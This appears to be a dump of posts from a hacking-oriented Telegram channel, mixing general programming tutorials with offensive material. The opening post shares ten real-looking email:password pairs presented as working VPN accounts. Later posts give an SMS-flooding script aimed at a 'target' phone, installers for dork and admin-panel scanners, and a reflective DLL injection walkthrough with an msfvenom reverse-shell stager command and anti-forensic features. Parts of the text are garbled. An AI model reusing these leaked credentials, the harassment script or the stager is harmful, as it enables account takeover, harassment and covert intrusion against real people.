UNDERCODE COMMUNITY
2.67K subscribers
1.23K photos
31 videos
2.65K files
79.4K links
πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

✨ Web & Services:
β†’ Undercode.help
Download Telegram
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ TESTED EXPRESS VPN, HURRY UP BEFORE USED 100% WOKING :
LOGIN WITH PROXIE
t.me/undercodeTesting



ethanbco@gmail.com:hannah@68, Account is Valid. Try logging in App to
Telegram Proxy: 180.92.233.82:4145





mduboef@aol.com:zzzzzz10, Account is Valid. Try logging in App to find out Status., Proxy: 195.206.4.16:48006




grahamrgreenhill@gmail.com:4288Michelle!, Account is Valid. Try logging in App to find out Status.Proxy: 167.99.72.55:8080






stressedcorgi58@gmail.com:Sueshe123, Account is Valid. Try logging in App to find out Status., Proxy: 190.196.20.166:44907








sghoor@gmail.com:WorkerBees, Account is Valid. Try logging in App to find out Status.,Proxy: 35.235.75.244:3128





zacmangaming@gmail.com:slender123, Account is Valid. Try logging in App to find out Status., Proxy: 157.245.11.44:9050







saxraleigh@me.com:Saxman97, Account is Valid. Try logging in App to find out Status., Proxy: 193.106.231.145:4145




bbert94@live.com:bbert1994, Account is Valid. Try logging in App to find out Status.Proxy: 103.123.66.150:4145





michael@elittosmjr.com:Dmanthe1, Account is Valid. Try logging in App to find out Status., Proxy: 5.196.132.124:3128






chenyu1998@hotmail.com:music1998, Account is Valid. Try logging in App to find out Status., Proxy: 176.223.11.5:34464


@UndercodeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Recommended common plugins :-englsih-chineese-rus :
t.me/undercodeTesting:

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

> Plugin name Introduction to plugins Official website address

1) Gitee Code cloud plugin for open source China https://plugins.jetbrains.com/plugin/8383-gitee


2) Alibaba Java Coding Guidelines Alibaba code specification check plugin https://plugins.jetbrains.com/plugin/10046-alibaba-java-coding-guidelines

3) IDE Features Trainer IntelliJ IDEA official learning aid plugin https://plugins.jetbrains.com/plugin/8554?pr=idea

4) Key promoter Shortcut key tips https://plugins.jetbrains.com/plugin/4455?pr=idea

5) Grep Console Customize the console output color https://plugins.jetbrains.com/idea/plugin/7125-grep-console

6) String Manipulation Hump-style naming and underline naming alternate https://plugins.jetbrains.com/plugin/2162?pr=idea

7) CheckStyle-IDEA Code specification check https://plugins.jetbrains.com/plugin/1065?pr=idea

8) FindBugs-IDEA Potential bug check https://plugins.jetbrains.com/plugin/3847?pr=idea

9) MetricsReloaded Code complexity check https://plugins.jetbrains.com/plugin/93?pr=idea

10) Statistic Code statistics https://plugins.jetbrains.com/plugin/4509?pr=idea

11) JRebel Plugin Hot deployment https://plugins.jetbrains.com/plugin/?id=4441

12)CodeGlance At the far right of the edit code, a small map of the code is displayed https://plugins.jetbrains.com/plugin/7275?pr=idea

13) GsonFormat Instantiate JSON strings directly into classes https://plugins.jetbrains.com/plugin/7654?pr=idea

14) `Markdown Navigator Writing Markdown articles https://plugins.jetbrains.com/plugin/7896?pr=idea

15) Eclipse Code Formatter Use Eclipse's code formatting style, which can be used if the company has a prescribed formatting style in a team. https://plugins.jetbrains.com/plugin/6546?pr=idea

16) Jindent-Source Code Formatter Custom class, method, doc, variable comment template http://plugins.jetbrains.com/plugin/2170?pr=idea
Translation Translation plugin https://github.com/YiiGuxing/TranslationPlugin

17)Maven Helper Maven auxiliary plugin https://plugins.jetbrains.com/plugin/7179-maven-helper

18) Properties to YAML Converter Change the configuration format of Properties to YAML format https://plugins.jetbrains.com/plugin/8000-properties-to-yaml-converter

19) Git Flow Integration Git Flow graphical interface operation https://plugins.jetbrains.com/plugin/7315-git-flow-integration

20) Rainbow Brackets Color each symmetrical bracket for easy viewing https://github.com/izhangzhihao/intellij-rainbow-brackets

20) !MybatisX mybatis framework assistance (free) https://plugins.jetbrains.com/plugin/10119-mybatisx

21) Lombok Plugin Lombok function auxiliary plug-in https://plugins.jetbrains.com/plugin/6317-lombok-plugin


22) .ignore Various version control ignore file generation tools https://plugins.jetbrains.com/plugin/7495--ignore

23) mongo4idea mongo client https://github.com/dboissier/mongo4idea
iedis redis client https://plugins.jetbrains.com/plugin/9228-iedis

24) GenerateAllSetter New POJO class rapid generation set method https://plugins.jetbrains.com/plugin/9360-generateallsetter

Written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ virus Objectif :
twitter.com/undercodeNews :

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

Virus refers to some illegal access to some system permissions, and then to destroy or steal.
Viruses are divided into two categories:

1) Destructive
viruses often mess up the system, such as deleting your U disk, changing your system background to a hacker picture, and turning your desktop into an icon …
These viruses are generally obvious, so anti-virus software is generally easier to kill, but the following is different.

2) Non-destructive
non-destructive viruses will not treat your system, nor delete your files and modify your personalized operations. They have only one purpose: to steal files or let their owners enter your computer . For example, the most typical gray pigeon is to let a hacker connect and then control your computer. The same is true for glaciers. There is also an ftp Trojan, their purpose is to open port 21, waiting for hackers to connect.

Written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁


πŸ¦‘ Operation commands for hackers
instagram.com/undercodeTesting


1) "Brooster"

"Brooster" is a bit like a marionette, referring to a computer or large server that can be remotely controlled by a hacker without knowing it. No matter what the system may be reduced to "broiler".

2) "Trojan Horse"

"Trojan horse" is a program that can get control of the system after running. Taking the web Trojan as an example, it mainly uses the vulnerability of the browser to get the web Trojan to the browser visitor locally, and then automatically executes it.

3) "Back door"

After successfully controlling the target host by some means, the hacker gains access to the system. After accessing the system, root privileges are obtained through system vulnerabilities, and then the rootkit can be installed to control the target host for a long time.

4) "Weak Password"

Weak passwords have low security strength and are easily guessed by cracked passwords, such as 123456 and 654321.

5) "Overflow"

"Overflow" generally refers to a buffer overflow. To put it bluntly, the program is not effectively monitored, resulting in the input data not being executed. Such programs and unexecuted data are increasing. Eventually the program will disintegrate, and it is possible that the hacker ’s commands will be executed incorrectly.

6) "Flower Directive"

The "flower instructions" were written in assembly language, which caused antivirus software to fail to reasonably judge the virus. Because antivirus software has a sequence rule, it is to check and kill viruses from beginning to end. Once the order of the viruses is wrong, the anti-virus software will stop.

7) "Free from killing"

"Anti-kill", as the name implies, is to eliminate anti-virus software. Use some techniques to modify the program. These techniques mainly include packing, encryption, and adding instructions.

8)"Packing"

The purpose of "packing" is mainly to compress files, encrypt program codes, and avoid killing, etc., and mainly change the encoding of executable programs or DLL dynamic link library files through some unusual algorithms.

9) "Shell"

"Shell" is a program or command execution environment. For example, after a remote overflow program is generally used, a remote computer can be successfully controlled, and the environment in which system commands are executed on the computer is "Shell".

Written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
LearnJava.pdf
5.8 MB
C++.pdf
10.3 MB
gray-hat-hacking.pdf
13.2 MB
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Speed ​​optimization-about memory read and write by undercode :
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

inside the computer, the reading and writing of data is realized step by step.

1) The situation of reading: if a data needs to reach the CPU from the outside, it needs to go through the external storage-"Memory--" Second-level cache--"First-level cache--" cpu register--"participation in calculation .

2) The situation of writing: In general, the data generated by the CPU is not (and not necessarily) written to the external storage immediately. Then these data are often kept in the cache or memory first, and the write action will not happen until the CPU informs the write.

3) When multiple data are to be read, they are queued; similarly, when multiple data are to be written, they are also queued.

4) When there are both read and write action requests, the cpu must arrange their order.

πŸ¦‘Examples:

1) The CPU needs to read a piece of data: the data cannot be found in the current instruction register, then the CPU will search from the first-level cache, if not, the second-level cache, and then the memory, then the external memory.

2) After the CPU reads in a piece of data, the data is available in the memory, the secondary cache, and the primary cache. As data reading increases, the cache will be full. At this time, a strategy of giving up is neded. The first-in-first-out method or the first-in-first-out method also has a strategy: retain the data with the highest usage rate.

3) In this way, there is a lot of data in the cache or memory. When the CPU wants to find the data, it also needs a strategy: association (full association, semi-association, partial association). It is to divide the cache into several relatively independent areas, and search for data according to a certain strategy, so that the efficiency will be higher.

4) When the CPU has data to "write" to the cache, such data should be kept in priority until the CPU "write" notification arrives.

5) When read and write requirements occur at the same time, two situations will occur: read first and then write, and then write and then read. Both cases must be seriously

πŸ¦‘ considered. such as:


1) The data address to be written happens to be the data address to be read. Read first and then write so that the old data is read. When you need the latest data, an error occurs; write first and read so that the original data is overwritten. When you need the original data, the read The data is also wrong.

2) Although the data address to be written is not the data to be read immediately, its intermediate result remains in the cache. This will also produce errors.
This is also called data correlation. When designing the program, data correlation should be avoided (or reduced) as much as possible. Although the data correlation is optimized when the program is compiled

Written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Proxy service-IP forwarding settings for intranet and extranet by undercode :
instagram.com/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

> We have a computer with two network cards, eth0 connected to the external network, ip is 1.2.3.4 ; eth1 is connected to the internal network, the ip is 192.168.0.1. Now you need to forward the ip packet sent to port 81 of address 1.2.3.4 to port 8180 of ip address 192.168.0.2, set as follows:

1) iptables -t nat -A PREROUTING -d 1.2.3.4 -p tcp -m tcp --dport 81 -j DNAT 192.168.0.2:8180

2) iptables -t nat -A POSTROUTING -d 192.168.0.2 -p tcp -m tcp --dport 8180 -j SNAT The
actual transmission process of 192.168.0.1 is as follows:
Suppose a client's ip address is 6.7.8.9, it uses the local port of 1080 to connect to port 81 of 1.2.3.4, and the source address of the outgoing ip packet is 6.7.8.9, the source The port is 1080, the destination address is 1.2.3.4, and the destination port is 81.

3) After the host 1.2.3.4 receives this packet, according to the first rule of the nat table, the destination address of the ip packet should be changed to 192.168.0.2, the destination port should be 8180, and an entry should be created in the connection tracking table. (Can be seen from the / proc / net / ip_conntrack file), and then sent to the routing module, by checking the routing table to determine that the IP packet should be sent to the eth1 interface. Before sending the ip packet to the eth1 interface, according to the second rule, the more the source address of the packet ip 192.168.0.1 (the case whether it is more appropriate entry in the connection table tracking unacknowledged, who clearly requested guidance), and then sent to the interface eth1.

4) and The ip packet sent back from 192.168.0.2, the destination address is 192.168.0.1, the destination port is 1080, and the TCP / IP stack of the host 1.2.3.4 receives the ip packet, the core looks for a match in the connection tracking table, and then Change the destination address of the ip packet from 192.168.0.1 to the original client's ip address 6.7.8.9, keeping the port number 1080 unchanged. In this way, the server's return packet can correctly return the client that initiated the connection, and the communication is like this Start.

Written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ This program allows us to send text messages via email :
instagram.com/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

#using the targets cellular sms gateway address

#we can set multiple source email addresses so the target

#receives messages from multiple users

import time

import smtplib

#All configuration changes should occur in this portion of the code

email_server = 'smtp.gmail.com' #smtp address for source email address

email_server_port = 587 #port number of smtp server for source email

email_address = ["exampleaddress@gmail.com","cramhackexample@gmail.com"] #email to send from

#you can add an email by simply putting a comma and inserting another email and password

email_password = ["passwordForEmail","NextEmailsPassword"] #email address password

msg = "message to send" #Whatever you want to send to the target

number_of_texts = 2 #Amount of times you want to text target

target_email = "3474447777@mms.att.net" #Targets cellular number in email format

pause = 10 #Seconds to wait in between messages

#All configuration changes should occur above this portion of the code

# No more configurations below #

for i in range(0,number_of_texts):

for x in range(0,len(email_address)):

server = smtplib.SMTP(email_server, email_server_port)

server.starttls()

server.login(email_address[x], email_password[x])

server.sendmail(email_address[x],target_email,msg)

print("text message sent")

server.quit()

time.sleep(pause)

# PROGRAM COMPLETE

print("All texts have been sent")

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Captcha bypasss-PANEL- WEBHACKING ...updated Advanced reconnaissance utility :
t.me/undercodeTesting

πŸ¦‘ FEATURES :

A powerful built in URL parsing engine
Multiple search engine compatibility (DuckDuckGo, AOL, Bing, and Google default is Google)
Ability to extract the URL from Google's ban URL thus bypassing IP blocks
Ability to extract from Google's webcache URL
Proxy compatibility (http, https, socks4, socks5)
Tor proxy compatibility and Tor browser emulation
Parse robots.txt/sitemap.xml and save them to a file
Multiple vulnerability assessments (XSS, SQLi, clickjacking, port scanning, admin panel finding, whois lookups, and more)
Tamper scripts to obfuscate XSS payloads
Can run with a custom default user-agent, one of over 4000 random user-agents, or a personal user-agent
Automatic issue creation when an unexpected error arises
Ability to crawl a webpage and pull all the links
Can run a singular dork, multiple dorks in a given file, or a random dork from a list of over 5000 carefully researched dorks
Dork blacklisting when no sites are found with the search query, will save the query to a blacklist file
Identify WAF/IPS/IDS protection of over 20 different firewalls
Header protection enumeration to check what kind of protection is provided via HTTP headers
Saving cookies, headers, and other vital information to log files
and much more...

πŸ¦‘π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„• :

1)> Ubuntu/Debian

sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py

2) centOS

sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py

3) Backbox
64 bit installation:

sudo -s << EOF
aptitude purge firefox
wget https://ftp.mozilla.org/pub/firefox/releases/57.0/linux-x86_64/en-US/firefox-57.0.tar.bz2
tar -xjf firefox-57.0.tar.bz2
rm -rf /opt/firefox*
mv firefox /opt/firefox57
mv /usr/bin/firefox /usr/bin/firefoxold
ln -s /opt/firefox57/firefox-bin /usr/bin/firefox
apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && pip2 install -r requirements.txt && python zeus.py
EOF

πŸ¦‘ 32 bit installation:

sudo -s << EOF
aptitude purge firefox
wget https://ftp.mozilla.org/pub/firefox/releases/57.0/linux-i686/en-US/firefox-57.0.tar.bz2
tar -xjf firefox-57.0.tar.bz2
rm -rf /opt/firefox*
mv firefox /opt/firefox57
mv /usr/bin/firefox /usr/bin/firefoxold
ln -s /opt/firefox57/firefox-bin /usr/bin/firefox
apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && pip2 install -r requirements.txt && python zeus.py
EOF

TESTED BY UNDERCODE
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘[ Admin panel finder / Admin Login Page Finder ] :
> note : this script can run on windows and linux but we don t recommend at all to run on windows :
instagram.com/undercodeTesting

πŸ¦‘π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„• :

Linux :

1) sudo apt install tor

2) sudo apt install python3-socks (optional)

3) pip3 install --user -r requirements.txt

4) git clone https://github.com/mIcHyAmRaNe/okadminfinder3.git

5) cd okadminfinder3

6) chmod +x okadminfinder.py

7) python3 okadminfinder.py


πŸ¦‘ Pentestbox (same procedure as Linux)
you can add an alias by adding this line: okadminfinder=py -3 "%pentestbox_ROOT%/bin/Path/to/okadminfinder3/okadminfinder.py" $* to C://Pentestbox/bin/customtools/customaliases file and so you'll be able to launch it using okadminfinder

πŸ¦‘ Features:

1) More than 500 potential admin panels

2) Tor & Proxy

3) Random-Proxy

4) Random-Agents

5) Console work with params, like: okadminfinder.py -u example.com -- proxy 127.0.0.1:8080

6) Self-Update

7) Classify admin panel links by popularity

8) Multithreading, for faster work

9) Adding more potential admin panel pages

TESTED BY UNDERCODE
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ PREMIUM PROXIES :LASTEST :
instagram.com/undercodeTesting

198.50.177.44 44699 SOCKS4
Canada Canada
Quebec MontrΓ©al High anonymity 6109 kB/s
74.9%
3 ms
11 hours ago


142.93.57.37 80 HTTP
Canada Canada
Ontario Toronto High anonymity 6074 kB/s
99.7%
51 ms
11 hours ago

149.56.1.48 8181 SOCKS4
Canada Canada
Quebec MontrΓ©al High anonymity 5892 kB/s
94.2%
3 ms
15 hours ago

192.241.245.207 1080 SOCKS5
United States United States
New York New York High anonymity 5537 kB/s
99.2%
77 ms
14 hours ago

173.199.122.27 8080 HTTPS
United States United States
New Jersey Piscataway Transparent 5505 kB/s
89.5%
83 ms
12 hours ago

206.72.197.232 3128 HTTPS
United States United States
Pennsylvania Warrington Transparent 5098 kB/s
14.6%
70 ms
13 hours ago

54.156.164.61 80 HTTP
United States United States
Virginia Ashburn High anonymity 5070 kB/s
93.2%
162 ms
16 hours ago

165.227.182.151 8888 HTTPS
United States United States
New Jersey Clifton High anonymity 3456 kB/s
40.5%
49 ms
11 hours ago

206.81.5.218 8080 HTTPS
United States United States
California Oakland Transparent 3369 kB/s
42.9%
53 ms
15 hours ago

34.73.42.211 80 HTTPS
United States United States
Texas Houston High anonymity 2986 kB/s
100%
141 ms
12 hours ago

206.72.197.231 3128 HTTPS
United States United States
Pennsylvania Warrington Transparent 2947 kB/s
18.2%
62 ms
14 hours ago

169.48.152.174 3128 HTTP
Netherlands Netherlands
Transparent 2935 kB/s
65.7%
15270 ms
9 hours ago

165.227.215.62 1080 SOCKS5
United States United States
New Jersey Clifton High anonymity 2818 kB/s
99.6%
61 ms
11 hours ago

52.179.231.206 80 HTTP
United States United States
Virginia Boydton High anonymity 2797 kB/s
100%
239 ms
10 hours ago

142.93.122.155 8118 HTTP
Canada Canada
Ontario Toronto High anonymity 2794 kB/s
21.1%
40 ms
15 hours ago

168.169.146.12 8080 HTTP
United States United States
New York Buffalo Transparent 2764 kB/s
50.4%
289 ms
17 hours ago

138.197.157.45 1080 SOCKS5
Canada Canada
Ontario Toronto High anonymity 2319 kB/s
97.9%
45 ms
14 hours ago

67.205.132.241 1080 SOCKS5
United States United States
New Jersey North Bergen High anonymity 2238 kB/s
98.6%
59 ms
11 hours ago

148.153.11.58 39593 SOCKS4
United States United States
Texas Plano High anonymity 2230 kB/s
87.2%
15055 ms
13 hours ago

@UndercodeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Pazuzu: Reflective DLL to run binaries from memory- payload and hack system like expert
> Pazuzu is a Python script that allows you to embed a binary within a precompiled DLL which uses reflective DLL injection. The goal is that you can run your own binary directly from memory. This can be useful in various scenarios.
fb.com/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

HOW AND WHY THIS SCRIPT :

The script Pazuzu.py accepts as input the binary you want to run from memory (parameter -f). Depending on the properties of the binary Pazuzu will choose one of the 3 DLL currently available. These DLL are:

1) relocΒ­x86.dll: lets you run the binary inside the address space of the process. This option is the most favorable since the binary generates less "noise" in the system.

2)dforkingΒ­x86.dll: the binary in this case also runs from memory but using "process hollowing". This technique is the one used by the "execute" command with the -m flag in Meterpreter.
downloadΒ­86.dll: this is the noisiest option since the binary will be downloaded and executed from disk.

3) Pazuzu also provides some additional features. For example, the -x option will encrypt the section containing the binary by using a random RC4 key (which is stored in the DLL TimeStamp). In addition, after running it the PE header of the DLL and the binary section will be overwritten with zeros. I will add more anti-forensic techniques in future versions.

4) With the -p option the resulting DLL will be patched with the bootstrap required to reach the export ReflectiveLoader (more info in www.shelliscoming.com). This option is useful to not depend on the Metasploit handler to inject the DLL. That is, if the DLL is already patched we can upload it to a Web server so that the stager could retrieve it from there (more anonymity).

πŸ¦‘ HOW TO RUN :

1) git clone https://github.com/BorjaMerino/Pazuzu

2) cd Pazuzu

3) run as python

4) To get the Pazuzu DLL I will use a WinHTTP stager:

> root@kali:~# msfvenom -p windows/dllinject/reverse_winhttp lhost=192.168.1.44 lport=8080 dll=. -f exe -o Winhttp-stager.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload

> No Arch selected, selecting Arch: x86 from the payload

> No encoder or badchars specified, outputting raw payload
Payload size: 908 bytes
Saved as: Winhttp-stager.exe

@UndercodeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ SHELL PROGRAMMING FULL BY UNDERCODE :
instagram.com/UndercodeTesting
Shell programming

1) In DOS, you may be engaged in some routine repetitive tasks. At this time, you will write these repetitive commands as a batch file, as long as the batch file is executed Execute these commands. You will ask if there is batch processing in UNIX. The answer is yes. In UNIX, not only batch processing like DOS, its functions are more powerful than DOS, and it is relatively more complicated. It is already comparable to general high-level languages. In UNIX, everyone is not called a batch file, but called Shell Script.

2) In general, the status of Shell Script is exactly the same as other executable files (or commands), except that Shell Script is stored as a text file, not a binary file. When executing Shell Script, there must be a program that converts its contents into a series of commands to execute, and this program is actually Shell, which is why we are called Shell Script (hereafter we call it Script). The scripts of different shells will basically have some differences, so we can't execute the scripts written to the A shell with the B shell. In UNIX, we most commonly use Bourne Shell and C Shell, so this class introduces the writing of these two scripts.

πŸ¦‘ Set the text file as executable Shell Script

If we have written the script, how to set it as an executable file? Because Script is actually an executable file, its access rights must be set to executable. We can use the following commands to change the access rights:
chmod u + x filename can only be executed by others,
chmod ug + x filename can only be executed by yourself and the same group, others cannot be executed by
chmod + x filename

πŸ¦‘ And how do we specify which shell to use to explain the written script? Several basic designation methods are as follows:

!) If the first non-blank character of the script is not "" # "", it will use the Bourne Shell.

2) If the first non-blank character of Script is "" # "", but does not start with "" #! "", Then it will use the C Shell.

4) If the Script starts with "" #! "", Then what is written after "" #! "" Is the Shell used, and the entire path name should be pointed out.

πŸ¦‘ It is recommended to use the third way to specify the Shell to ensure that what is executed is what you want. The path name of the Bourne Shell is / bin / sh, and the C Shell is / bin / csh.


1) Use Bourne Shell
β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐ β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚echo enter filename β”‚ β”‚ ##! / Bin / sh β”‚
β”‚. β”‚ or β”‚. β”‚
β”‚ . β”‚ β”‚. β”‚
β”‚. β”‚ β”‚. β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” β”˜ β”” β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” β”˜

2) Use C Shell
β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” —┐ β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚ # C Shell Script β”‚ β”‚ #! / Bin / csh β”‚
β”‚. β”‚ β”‚. β”‚
β”‚. β”‚ β”‚. β”‚
β”‚. β”‚ β”‚.



β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚ #! / Etc / perl β”‚
β”‚. β”‚
β”‚. β”‚
β”‚. β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” β”˜Except

for specifying the shell used in the script In addition, you can also force it in the command line. For example, if you want to use the C Shell to execute a script, you can issue this command:
csh filename

The access right of the script at this time does not have to be an executable file, and the shell specified inside will also be invalid. Will discuss.

β–‘ Script's basic structure and concept

Script is a unit of behavior, and the script we write will be broken down into lines and executed. Each line can be a command, a comment, or a flow control instruction. If a line has not been completed, you can add "" "at the end of the line. At this time, the content of the next line will be received after this line and become the same line, as follows

β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚ echo The message is β”‚
β”‚too long so we have β”‚
β”‚to split it into β”‚
β”‚several lines β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” β”˜When

"" # "" appears in the Script, then the The same line of text is a comment, Shell will not translate it.

πŸ¦‘ The way to execute a command in Script is the same as in the command line. You can execute it in the foreground or background. You also need to set some environmental variables when executing the command.
The flow control of Script is no different from the flow control of general high-level languages. It also has subroutines like high-level languages. These make Script more powerful.

In order to achieve the same effect as high-level languages, we can also set variables in Script, which makes Script a veritable high-level language.

β–‘ Bourne Shell

1- Variables

The variable types of Bourne Shell are only string variables, so to use numerical operations, you must rely on external commands to achieve your goals. And it kind of variables are the following:

1) User variables

This is the most frequently used variables, we can not contain any whitespace string to as variable names. When setting the variable value, use the following method:
var = string When

accessing the variable, add a "" $ "" sign in front of the variable name.


β”Œ β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚name = Tom β”‚
β”‚echo name β”‚
β”‚echo $ name β”‚
β”” β€”β€”β€”β€”β€”β€”β€” β”˜ The
result is as follows:
name
undercode

2) System variables (environment variables) are

similar to user variables , But this variable will pass its value to the command it executes. To set a user variable as a system variable, just add:
export var

β”Œ β€”β€”β€”β€”β€”β€”β€” ┐
β”‚name =undercode β”‚
β”‚export name β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€” β”˜The

following is a user one The system variables that have been set after entering the system:
$ HOME The user's own directory
$ PATH The directory searched when the command is executed
$ TZ Time zone
$ MAILCHECK Check every second for new letters
$ PS1 Prompt number at the command line
$ PS2 When the command has not been finished, Shell Tip number when required and then enter the
search path $ MANPATH man instructions

3) read-only user variables

and user variables similar, but these variables can not be changed. To set user variables to read-only, just add:
readonly var

and if readonly is used, all read-only variables will be listed. Another point is that system variables cannot be set to read-only.

β”Œ β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚name = Tom β”‚
β”‚readonly name β”‚
β”‚echo $ name β”‚
β”‚name = John β”‚
β”‚readonly β”‚
β”” β€”β€”β€”β€”β€”β€”β€”β€” β”˜The

result is as follows:
undercode
name: is read only
readonly name
Readonly ......

4)specific variables

some variables are set will start the implementation of Script, and not to be amended, but we do not call it a read-only system variables, and call it a special variable (some books It will be called a read-only system variable), because these variables are present when the program is executed, and users cannot set general system variables to be read-only. The following are some equivalent variables:
$ 0 The execution name of
this program $ n The nth parameter value of this program, n = 1..9
$ * All parameters of
this program $ # Number of parameters of this program
$$ PID of this program
$! Run on the previous background command PID
$? return value to execute a command

πŸ¦‘ when the number of parameters when you run this program when more than nine, we can use the shift command parameters will move forward one space, so you can use the first 10 after the argument. In addition, we can use the set command to change $ n and $ *, as follows:
set string

so the value of $ * is string, and it will be put into $ n after decomposition. If there is no parameter after the set command, all the set variables and their values ​​will be listed.

File name: ex1 Parameters: this is a test

β”Œ β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” ┐
β”‚echo Filename: $ 0 β”‚
β”‚echo Arguments: $ * β”‚
β”‚echo No. of args .: $ # β”‚
β”‚echo 2nd arg .: $ 2 β”‚
β”‚shift β”‚
β”‚echo No. of args .: $ # β”‚
β”‚echo 2nd arg .: $ 2 β”‚
β”‚set hello, everyone β”‚
β”‚echo Arguments: $ * β”‚
β”‚echo 2nd arg .: $ 2 β”‚
β””β€” β€”β€”β€”β€”β€”β€”β€”β€”β€”β€” β”˜
The results are as follows:
Filename: ex1
Arguments: this is a test
No. of args .: 4
2nd arg .: is
No. of args .: 3
2nd arg .: a
Arguments: hello, everyone
2nd arg .: everyone is

worth mentioning Yes, when you want to input a variable value from the keyboard, you can use the following command:
read var1 var2 .....
At this time read will divide a word into a variable. If you enter more words than variables, the last variable will use the remaining words as its value. If you enter fewer words than variables, the following variables will be set to empty strings. If you need to deal with numerical operations, we can use the expr command. Its parameters and output are listed in Appendix A.

πŸ¦‘ Second, Run

There are five methods Bourne Shell execute a command, whereas if the generated five manner slightly different.

1)Direct command
This command mode and effect column as direct command.

2) Use sh command
sh command
This file must be Bourne Shell Script, but this file does not have to be set to be executable. Otherwise, it's the same as direct command.

3) Use the "". "" Command
. Command

